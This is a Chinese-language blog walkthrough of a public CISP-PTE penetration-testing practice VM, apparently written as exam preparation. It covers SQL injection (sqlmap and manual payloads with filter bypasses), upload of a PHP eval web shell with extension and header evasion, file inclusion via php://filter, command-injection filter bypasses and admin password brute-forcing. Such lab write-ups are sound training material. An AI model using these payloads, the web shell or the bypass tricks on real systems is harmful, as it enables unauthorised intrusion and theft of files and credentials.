本文主要是介绍CISP-PTE靶机测试记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
环境搭建
该靶机为互联网公开靶机,网上可自行寻找
pte靶机下载(阿里云盘):https://www.aliyundrive.com/s/L2WFbxSenWK
下载后打开centos文件夹下的.vmx文件即可运行虚拟机
登录靶机root/admin123
先把网络调通,让虚拟机与物理机为同一网段
查看ip地址,这里用ifconfig查看的话回显太长看不到,可以用ip addr来查看
虚拟机我配置的是NAT模式,网段为.74
修改ip地址为.74网段地址,上图为修改后的,主要修改ip地址,掩码,网关
修改完成后reboot重启
ip addr
vi /etc/sysconfig/network-scripts/ifcfg-eth0
sql注入
提供两种解法,一种是手工注入,一种是sqlmap
通过访问不同的端口来切换题目,端口范围81-85
访问虚拟机的81端口,进入答题即可
http://192.168.74.135:81
id=1时页面有回显的内容,id=2时页面无回显,判断存在注入点
http://192.168.74.135:81/vulnerabilities/fu1.php?id=1
http://192.168.74.135:81/vulnerabilities/fu1.php?id=2
sqlmap
这里空格被过滤了,需要加–tamper=space2comment参数,使用/**/替换空格符
首页已经告诉我们key文件路径/tmp/360/key,构造语句如下
python sqlmap.py -u "http://192.168.74.135:81/vulnerabilities/fu1.php?id=1" --risk=3 --tamper=space2comment --file-read /tmp/360/key
根据图中提示,打开文件保存的路径,查看文件,获取到key
手工注入
先用order by猜解列数,靶机这里对空格单引号和井号做了过滤
空格使用注释符/**/代替,单引号使用%27代替,井号使用%23代替
有的编码工具可能无法对单引号等特殊字符进行url编码,可以尝试这个网站 https://evilcos.me/lab/xssor/
空白处输入内容后,点击右侧escape即可
输入order by等于5时页面显示为空白,小于5时页面显示正常,判断列数为4
?id=1%27)/**/order/**/by/**/4%2
确认列数后,配合上union语句查询数据,发现union被过滤了,可以通过双写来绕过
order by等于4,可以将想要查询的函数替换掉数字
?id=-1%27)/**/ununionion/**/select/**/1,2,3,4
key在文件里,通过load_file函数来读取文件,文件路径首页已经告诉我们了
这里id改为-1是为了让服务端返回union select的查询结果,因为数据库没有-1列,所以会返回select的结果
?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file(%27/tmp/360/key%27)%23
文件上传
提供两种解法,上传一句话拿shell读文件,和php读文件代码,考试时候一句话大概率被过滤
一句话
访问靶机82端口
进入答题,先写一个一句话木马,命名为1.php
<?php @eval($_POST['cmd']);?>
然后浏览选择1.php文件,burp开启抓包,点击上传
发现抓到的包不太对,不应该是get请求,这里需要在抓包处点击forward(有几率出现)
获得到post请求,这样包才是我们需要的
ctrl+r发送到repeater,返回的内容里没啥东西,应该过滤掉了
经过测试,发现php被过滤了,之前大写绕过(phP)也显示上传成功,但是蚁剑连不上,后缀名可换成php3
同时需要结合修改content-type头(image/gif)和文件内容头校验(GIF89a)即可绕过,也可以把GIF89a写到一句话的开头
然后蚁剑连接
在html目录下找到key文件
php读文件
为了避免一句话被检测到,可以使用php读取文件函数来查看key,php代码如下
<?php readfile('../key.php');?>
然后上传文件并抓包,还是像上面一样,绕过这些过滤点
然后访问1.php3,页面显示GIF89a Get it!,然后查看源代码即可拿到key
文件包含
访问靶机83端口
进入答题,试下最基础的payload,可以访问密码文件
/vulnerabilities/fu1.php?file=../../../../etc/passwd
题目已经告诉我们key.php在根目录下了,直接尝试读取,发现不显示内容
这题考的是通过php伪协议读取文件
php://filter/convert.base64-encode/resource=../key.php
php://filter/read=convert.base64-encode/resource=../key.php
将返回的内容进行base64解码,获取到key
命令执行
访问靶机84端口
进入答题,可以输入ip进行测试
构造语句时发现cat被过滤了,提示有敏感字符
127.0.0.1 | cat
测试后发现以下命令都可绕过,包括但不限于以下命令
127.0.0.1 | ca\t ../key.php
127.0.0.1 | ca${Z}t ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | less ../key.php
但是页面显示不完整,通过检查或者查看源代码来查看完整的内容
日志分析
访问靶机85端口
日志分析了解下就可以了,现在考试已经不考了
进入答题,即可查看日志文件,也可以右键保存到本地查看
题目说攻击者可能是172.16.12.12,搜索下日志中该ip的内容
发现内容不少,像是大量的扫描,需要筛选ip为172.16.12.12且响应状态码为200的数据
推荐一块好用的linux日志分析工具klogg,官网:https://klogg.filimonov.dev/ github:https://github.com/variar/klogg
先筛选出ip为172.16.12.12的内容,再从筛选后的结果里搜索200的内容,发现大量的get请求一个路径,可能是攻击者在暴破,在大量的404请求后,出现200的请求,可能是攻击者暴破成功,暴破后第一个访问成功的页面是/adminlogin.php,应该就是后台路径了
然后访问后台路径,需要登录,用burp爆破下账号密码
由于账号密码都不知道,爆破类型选cluster bomb
两个值未知爆破起来时间太长了,看了下结果是admin/password123,直接自己写个简单的字典跑
账号密码为admin/password123
登录成功后查看到key
这篇关于CISP-PTE靶机测试记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!